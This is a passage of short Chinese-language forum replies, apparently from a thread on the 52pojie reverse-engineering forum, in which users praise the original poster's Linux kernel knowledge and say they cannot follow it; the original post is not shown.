chenzhigang 发表于 2023-12-7 13:51
我只能说NB
a525759 发表于 2023-12-7 13:59
学习学习再学习
angdybo 发表于 2023-12-7 14:15
只能说看不懂根本看不懂
ytfty 发表于 2023-12-7 15:50

只能说看不懂根本看不懂
919490656 发表于 2023-12-7 15:55
懂iinux内核的都是大佬
yhtg 发表于 2023-12-7 17:29
大佬大佬
yuzhangqu 发表于 2023-12-7 19:54
膜拜大佬
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 20:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表